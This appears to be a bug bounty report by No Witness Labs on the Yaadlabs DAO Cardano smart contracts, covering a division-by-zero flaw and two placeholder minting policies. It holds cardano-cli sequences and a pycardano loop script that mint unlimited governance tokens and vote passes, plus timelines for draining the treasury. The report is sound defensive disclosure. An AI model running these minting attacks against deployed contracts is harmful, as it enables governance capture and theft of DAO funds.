



NOWITNESS

Bug Bounty Report

Yaadlabs DAO Smart Contracts

Date November 27, 2025
Project Yaadlabs DAO Smart Contracts
Version 1.0.0.0

Contents

- Disclosure 1**
- Disclaimer 2**
- Scope 3**
- Assessment Overview 4**
- Assessment Components 5**
- Executive Summary 6**
- Code Base 7**
- Severity Classification 8**
- Finding Severity Ratings 9**
- Findings 10**
 - [[L](#) 201] Division by Zero in Vote Tallying 11
 - [[I](#) 101] Unlimited Fungible Token Minting 13
 - [[I](#) 102] Unlimited Vote NFT Minting 15

Disclosure

This document contains proprietary information belonging to No Witness Labs. Duplication, redistribution, or use, in whole or in part, in any form, requires prior written consent from No Witness Labs.

Nonetheless, both the customer **Yaad Labs** and No Witness Labs are authorized to share this document with the public to demonstrate security compliance and transparency regarding the outcomes of the Protocol.

Disclaimer

This bug bounty review reflects the state of the relevant parts of the codebase at the time of assessment and should be regarded as a point-in-time evaluation. Any changes made after the assessment period fall outside the scope of this report.

The work performed focused on validating and classifying submitted bug bounty reports, reproducing their impact where applicable, and performing limited contextual analysis around the affected components. It does not constitute a full security audit or an exhaustive review of the entire codebase.

Although every effort was made to identify and accurately describe potential risks related to the reviewed submissions, no security review can guarantee the discovery of all issues. The information and recommendations in this report are provided solely for technical purposes and must not be considered investment advice.

The scope of this engagement did not extend to compiler-level artifacts (e.g., generated UPLC code), broader infrastructure, or dependencies beyond the explicitly reviewed code paths. Additional testing methodologies, including unit testing and property-based testing, were also outside the scope of this bug bounty review.

Scope

In scope

- On-chain validators and supporting logic at the time of review.
- Datum/redeemer structures and on-chain invariants (value, units/rates, cross-phase checks).
- Use of reference UTxOs for configuration and script parameters.

Out of scope

- Compiler layer / UPLC output and toolchain internals.
- Creation of new unit tests or property-based tests.
- Off-chain libraries, front-end apps, wallet UX (incl. blind-signing), unless explicitly constrained on-chain.
- Third-party protocol internals (bridges/liquidity venues), centralized services, exchanges, oracles, external price feeds.
- Node operations, networking, mempool policy variance, ordering/MEV-like effects.

Assessment Overview

From **November 19, 2025** to **November 27, 2025**, **Yaad Labs** engaged No Witness Labs to review and classify bug bounty submissions affecting the **Yaadlabs DAO Smart Contracts** on-chain scripts. This engagement was structured as a targeted bug bounty review rather than a full end-to-end security audit of the protocol.

The review focused on validating the submissions received, reproducing reported issues where applicable, and performing limited, context-specific code analysis around the affected components. The work was carried out in line with established industry practices for smart-contract bug bounty triage and validation.

The bug bounty review followed a structured process:

- **Intake & Scoping** – Reviewed program scope and individual submissions, and clarified in-scope components and assumptions with the client.
- **Triage & Classification** – Assessed each submission for validity, duplication, and relevance to the stated bug bounty scope.
- **Reproduction & Impact Analysis** – Attempted to reproduce reported behaviors, traced their impact on the protocol, and determined realistic security implications.
- **Targeted Code Review** – Performed focused manual review of the on-chain scripts and surrounding logic directly related to the validated submissions.
- **Reporting** – Documented confirmed findings, assigned severity levels, and provided actionable recommendations for remediation or hardening.

This engagement did not include a comprehensive review of all protocol components, off-chain infrastructure, or economic design. Findings and severities are therefore limited to the subset of issues exercised by the reviewed bug bounty submissions.

Assessment Components

Bug bounty review activities

The bug bounty review concentrated on the specific code paths and behaviors implicated by the submitted reports. Within that constrained scope, the team considered common EUTxO smart-contract risk patterns, including but not limited to:

- UTXO Value Size Spam (Token Dust Attack)
- Large Datum or Unbounded Protocol Datum
- EUTXO Concurrency DoS
- Unauthorized Data modification
- Multisig PK Attack
- Infinite Mint
- Incorrect Parameterized Scripts
- Other Redeemer
- Other Token Name
- Arbitrary UTXO Datum
- Unbounded protocol value
- Foreign UTXO tokens
- Double or Multiple satisfaction
- Locked Ada
- Locked non Ada values
- Missing UTXO authentication
- UTXO contention

Executive Summary

TripHut is a Decentralised Autonomous Organization built on the Cardano Blockchain designed to send its members on free or discounted vacations using community resources. Awardees of the travel allocation are decided on a relative majority basis, where members submit travel requests, and the applications with the most votes are selected. The smart contract thereafter disperses the funds to member and designated wallets to cover and handle: Airfare, Accommodation, Transportation, Pocket Money and Agent Fees.

Code Base

Repository

<https://github.com/yaadlabs/DAO.git>

Commit

5fa2910e11a50a44ce9348c05cce24aab512d221

Files Audited

Files	SHA256 Checksum
dao/dao-lib/Dao/Configuration/Script.hs	b4eb4aa6f0609cb7fcf5567dce9ebae161fb3e48791613550e50147295b8d6ea
dao/dao-lib/Dao/Index/Script.hs	12a8270dddfb506808aaff0c98071cfbd1d31238c0b74d6513baef797f5325b2
dao/dao-lib/Dao/Tally/Script.hs	b06d27d9ea650db5b0404948104e642e345c7a30a4217a7a2ffd1e6adba214e0
dao/dao-lib/Dao/Treasury/Script.hs	804a142b8d0a657bffec9059521f8a607e7e9a35b221beac9fe7a24c0f55d429
dao/dao-lib/Dao/Vote/Script.hs	78371397dcd6982c3869c25a8afbe510b1022aa0549036968b4e5556e0b5d3ef
dao/dao-lib/Dao/ScriptArgument.hs	f22cbd2dd4de5d55474d715ff9560448f15715e2f6058d4075e28791b0a8bb69
dao/dao-lib/Dao/Shared.hs	bb7533693e9e437cc919924dc2e75018cd4588ed344dd8ea50056c19d21b147c

Severity Classification

- **Critical:** Vulnerabilities that enable direct theft of assets, permanent loss of funds, or catastrophic protocol failure. These represent immediate and severe financial risk with straightforward exploitation paths.
- **High:** Vulnerabilities that can result in financial loss or significant harm to users or the protocol, though impact may be limited to specific functions or require certain conditions. Exploitation paths exist but may be more complex than Critical Vulnerabilities.
- **Medium:** Vulnerabilities that do not directly result in financial loss but may temporarily impair functionality or create exploitable conditions. These are typically limited to state manipulations and include issues such as front-running susceptibility or logic flaws that compromise transaction integrity.
- **Low:** Low-impact Vulnerabilities with limited attack vectors, minimal attacker incentive, or requiring highly specific scenarios. These typically do not result in financial loss or significant harm to users or the protocol.
- **Informational:** Findings without immediate security or financial implications. These include optimization opportunities, code quality improvements, inconsistencies in naming conventions, design suggestions, and gaps in documentation.

Impact–Likelihood Severity Matrix

	High likelihood	Medium likelihood	Low likelihood
High impact	C	H / M	M
Medium impact	H	M	M / L
Low impact	M	M / L	L

Finding Severity Ratings

The following table defines levels of severity and score range that are used throughout the document to assess vulnerability and risk impact

	Level	Severity	Status
	5	Critical	0
	4	High	0
	3	Medium	0
	2	Low	1
	1	Informational	2

Findings

ID	Title	Severity	Status
201	Division by Zero in Vote Tallying	Low	Acknowledged
101	Unlimited Fungible Token Minting	Informational	Acknowledged
102	Unlimited Vote NFT Minting	Informational	Acknowledged

[L 201] Division by Zero in Vote Tallying

	Level	Severity	Status
	2	Low	Acknowledged

Category: Arithmetic Error / Denial of Service

File: dao/dao-lib/Dao/Treasury/Script.hs , dao/dao-lib/Dao/Configuration/Script.hs

Description

The Treasury and Configuration validators compute voting majorities using division operations that assume non-zero denominators. Specifically, they divide by `dynamicConfigDatum'totalVotes` and by `totalVotes` (the sum of `for` and `against`) without checking that these values are greater than zero. Misconfigured config data (e.g., `totalVotes = 0`) or proposals that receive zero votes cause a division-by-zero at validation time. This results in immediate script failure.

Attack Scenario 1: Config totalVotes = 0

1. Misconfiguration During Deployment:

```

1 {
2   "dynamicConfigDatum'totalVotes": 0,
3   "dynamicConfigDatum'tripRelativeMajorityPercent": 100,
4   ...
5 }
```

 Aiken

2. Result:

- Line 243/220: `(totalVotes * 1000) divide 0` → fail
- ALL proposal executions fail permanently
- Treasury funds locked forever

Attack Scenario 2: Proposal totalVotes = 0

1. Proposal Created But No Votes Cast:

```

1 Proposal Index: 123
2 tallyStateDatum'for: 0
3 tallyStateDatum'against: 0
4 totalVotes: 0 + 0 = 0
```

 Aiken

2. Attempt to Execute:

- User tries to execute/tally proposal
- Line 246/223: `(0 * 1000) divide 0` → fail

3. Result:

- Transaction fails with division by zero
- Proposal stuck forever
- Cannot execute, cannot clear

Recommendation

Introduce explicit validation of all denominators before performing any division. At a minimum, enforce `dynamicConfigDatum.totalVotes > 0` and `totalVotes > 0`, and reject or gracefully handle configurations or proposals that violate these constraints. Consider adding a minimum vote participation requirement so proposals with zero participation cannot reach the execution path at all. Validate config parameters on creation and update, and add tests that cover misconfigured configs, zero-vote proposals, and other edge cases to ensure no division-by-zero paths remain.

[I 101] Unlimited Fungible Token Minting

Level	Severity	Status
1	Informational	Acknowledged

Category: Non-production placeholder script / Governance Manipulation

File: dao/dao-lib/Dao/Vote/Script.hs , **Lines:** 365-372

Description

The fungible token minting policy `mkFungibleMinter` is implemented as an always-succeeds placeholder script that ignores its arguments and unconditionally returns `()`. There is no authorization, supply cap, or linkage to any approved proposal. Because fungible tokens act as a multiplier on vote weight in the tally logic, any user can mint an arbitrary number of tokens at negligible cost and immediately translate them into overwhelming voting power, enabling full governance capture and treasury drainage via malicious proposals.

```

1 {- An always-succeeds placeholder script for the fungible token for use in the
   off-chain.
2   The fungible token acts as a multiplier of the user's vote weight.
3 -}
4 mkFungibleMinter :: BuiltinData -> BuiltinData -> ()
5 mkFungibleMinter _ _ = ()

```

Classification note: This finding is marked `Informational` because the script is currently used only as a non-production placeholder (“scriptholder”). If deployed as-is in a production or user-facing context, its impact would be considered `Critical`.

Attack Scenario

```

1 # Step 1: Query the fungible token policy ID from deployed config
2 FUNGIBLE_POLICY=$(cardano-cli transaction txid --tx-body-file config.json)
3
4 # Step 2: Mint 1,000,000 fungible tokens (no restrictions)
5 cardano-cli transaction build \
6   --testnet-magic 1 \
7   --tx-in <any_utxo_you_own> \
8   --mint "1000000 ${FUNGIBLE_POLICY}.fungible_token" \
9   --mint-script-file fungible_policy.plutus \
10  --mint-redeemer-value '{}' \
11  --change-address <your_address> \
12  --out-file mint-unlimited.raw
13
14 cardano-cli transaction sign \
15   --tx-body-file mint-unlimited.raw \
16   --signing-key-file your.skey \

```

```
17 --out-file mint-unlimited.signed
18
19 cardano-cli transaction submit --tx-file mint-unlimited.signed
```

Expected Result:

- Transaction succeeds
- 1,000,000 fungible tokens minted to your address
- Cost: 2 ADA in transaction fees
- Voting power increased by up to 1,000,000 votes (depending on fungibleVotePercent)

Timeline:

1. Hour 0: Mint Unlimited Tokens - Attacker mints 1,000,000 fungible tokens - Cost: 2 ADA -
2. Hour 1: Acquire Vote Pass
 - Either mint via CRIT-2 exploit OR purchase legitimately
 - Cost: Minimal (or exploited via CRIT-2)
3. Day 1: Create Malicious Proposals
 - Create proposal to send entire treasury to attacker address
 - Use massive voting power to pass proposal
 - Cast 1,000,000 votes FOR the proposal
4. Days 2-14: Wait for Voting Period
 - Legitimate users cannot compete with 1,000,000 votes
 - Even if all legitimate voters vote AGAINST, attacker wins
 - Example: 10,000 legitimate votes vs 1,000,000 malicious votes
5. Day 15: Execute Proposal
 - Wait for tally period to end
 - Execute proposal
 - Treasury funds transferred to attacker address

Recommendation

- Treat this implementation strictly as a non-production placeholder and clearly document it as such.
- Before any production deployment, replace it with a hardened fungible minting policy that enforces authorization, supply caps, and correct distribution semantics.
- Add tests (or a simple CI check) to ensure placeholder “scriptholder” policies cannot be shipped in production builds.

[I 102] Unlimited Vote NFT Minting

Level	Severity	Status
1	Informational	Acknowledged

Category: Non-production placeholder script / Governance Manipulation

File: dao/dao-lib/Dao/Vote/Script.hs

Description

The vote pass NFT minting policy `mkVoteNftMinter` only checks that exactly one `vote_pass` token is minted per transaction. It does not enforce a one-shot pattern, does not require spending an initialization UTXO, and does not impose a global supply limit or any authorization requirements. As a result, an attacker can repeatedly call the policy from different UTXOs to mint an unbounded number of vote pass NFTs and distribute them across many addresses, effectively mounting a Sybil attack against the DAO's governance and overwhelming legitimate votes.

```

1  {- A placeholder script for the 'voteNft' token in the off-chain.
2     The 'voteNft' acts as a required pass which a user requires in order to cast a vote.
3  -}
4  mkVoteNftMinter :: BuiltinData -> ScriptContext -> Bool
5  mkVoteNftMinter
6  _
7  ( ScriptContext
8    { scriptContextPurpose = Minting thisCurrencySymbol
9    , scriptContextTxInfo = TxInfo {txInfoMint}
10    }
11  ) =
12  let
13    onlyOneTokenMinted :: Bool
14    onlyOneTokenMinted =
15      hasSingleTokenWithSymbolAndTokenName
16        txInfoMint
17        thisCurrencySymbol
18        (TokenName "vote_pass")
19  in
20    traceIfFalse "Only one token should be minted" onlyOneTokenMinted
21  mkVoteNftMinter _ _ = traceError "Wrong type of script purpose!"

```

Classification note: This finding is marked *Informational* because the script is currently used only as a non-production placeholder ("scriptholder"). If deployed as-is in a production or user-facing context, its impact would be considered *Critical*.

Attack Scenario:

```

1  # Get Vote NFT policy ID from config
2  VOTE_NFT_POLICY="<vote_nft_policy_id>"
3
4  # Mint first vote pass
5  cardano-cli transaction build \
6    --testnet-magic 1 \
7    --tx-in <utxo_1> \
8    --mint "1 ${VOTE_NFT_POLICY}.vote_pass" \
9    --mint-script-file vote_nft_policy.plutus \
10   --mint-redeemer-value '{}' \
11   --change-address <your_address> \
12   --out-file mint-pass-1.raw
13
14 cardano-cli transaction sign \
15   --tx-body-file mint-pass-1.raw \
16   --signing-key-file your.skey \
17   --out-file mint-pass-1.signed
18
19 cardano-cli transaction submit --tx-file mint-pass-1.signed
20
21 # Wait for confirmation, then mint second vote pass (DIFFERENT UTXO)
22 cardano-cli transaction build \
23   --testnet-magic 1 \
24   --tx-in <utxo_2> \ # ← Different UTXO, same policy works!
25   --mint "1 ${VOTE_NFT_POLICY}.vote_pass" \
26   --mint-script-file vote_nft_policy.plutus \
27   --mint-redeemer-value '{}' \
28   --change-address <your_address> \
29   --out-file mint-pass-2.raw
30
31 cardano-cli transaction sign \
32   --tx-body-file mint-pass-2.raw \
33   --signing-key-file your.skey \
34   --out-file mint-pass-2.signed
35
36 cardano-cli transaction submit --tx-file mint-pass-2.signed
37
38 # Repeat as many times as desired...

```

Expected Result:

- First mint succeeds
- Second mint succeeds (should fail with proper one-shot)
- Third, fourth, fifth... all succeed
- Unlimited vote passes created
- Cost: 2 ADA per mint

Automated Attack Script:

```
1  from pycardano import * python
2
3  network = Network.TESTNET
4  context = BlockFrostChainContext("your_project_id", network)
5
6  # Mint 100 vote passes
7  for i in range(100):
8      # Build transaction
9      builder = TransactionBuilder(context)
10
11     # Use different UTXO each time
12     utxo = get_fresh_utxo(attacker_address)
13     builder.add_input(utxo)
14
15     # Mint vote pass
16     vote_nft_policy = get_vote_nft_policy()
17     mint = MultiAsset()
18     tokens = Asset()
19     tokens[AssetName(b"vote_pass")] = 1
20     mint[ScriptHash(vote_nft_policy.hash())] = tokens
21     builder.mint = mint
22     builder.add_minting_script(vote_nft_policy, Redeemer(Unit()))
23
24     # Send to attacker
25     builder.add_output(TransactionOutput(
26         attacker_address,
27         Value(2000000, mint) # 2 ADA + vote pass
28     ))
29
30     # Sign and submit
31     tx = builder.build_and_sign([attacker_key])
```

```

32 tx_id = context.submit_tx(tx)
33 print(f"Minted vote pass #{i+1}: {tx_id}")
34 time.sleep(20) # Wait for confirmation
35
36 print("✓ 100 vote passes minted successfully")
37 print("✓ Can now cast 100 votes per proposal")

```

Timeline:

1. Day 1: Mint Vote Passes
 - Attacker mints 1,000 vote pass NFTs
 - Cost: 2,000 ADA (2 ADA per mint)
 - Time: 5-6 hours (automated script)
2. Day 1: Create Addresses
 - Create 1,000 separate addresses (one per vote pass)
 - Distribute vote passes to addresses
 - Cost: Minimal
3. Day 2: Create Malicious Proposal
 - Create proposal to drain treasury
 - Standard proposal creation process
4. Days 2-14: Cast 1,000 Votes
 - Use each vote pass to cast a vote FOR the proposal
 - Each vote appears to come from a different user
 - Even without fungible tokens, 1,000 votes is significant
5. Day 15: Execute Proposal
 - If 1,000 votes exceeds majority threshold, proposal passes
 - Treasury drained to attacker address

Recommendation

- Keep this script clearly marked as non-production placeholder logic.
- Before mainnet or user-facing deployment, replace it with a one-shot or tightly bounded NFT policy (e.g., enforced via an initialization UTXO and explicit supply limits).
- Consider adding a checklist/CI rule to prevent placeholder “scriptholder” scripts from being included in production builds.

End of Report



No Witness Labs — Confidential

Copyright © 2025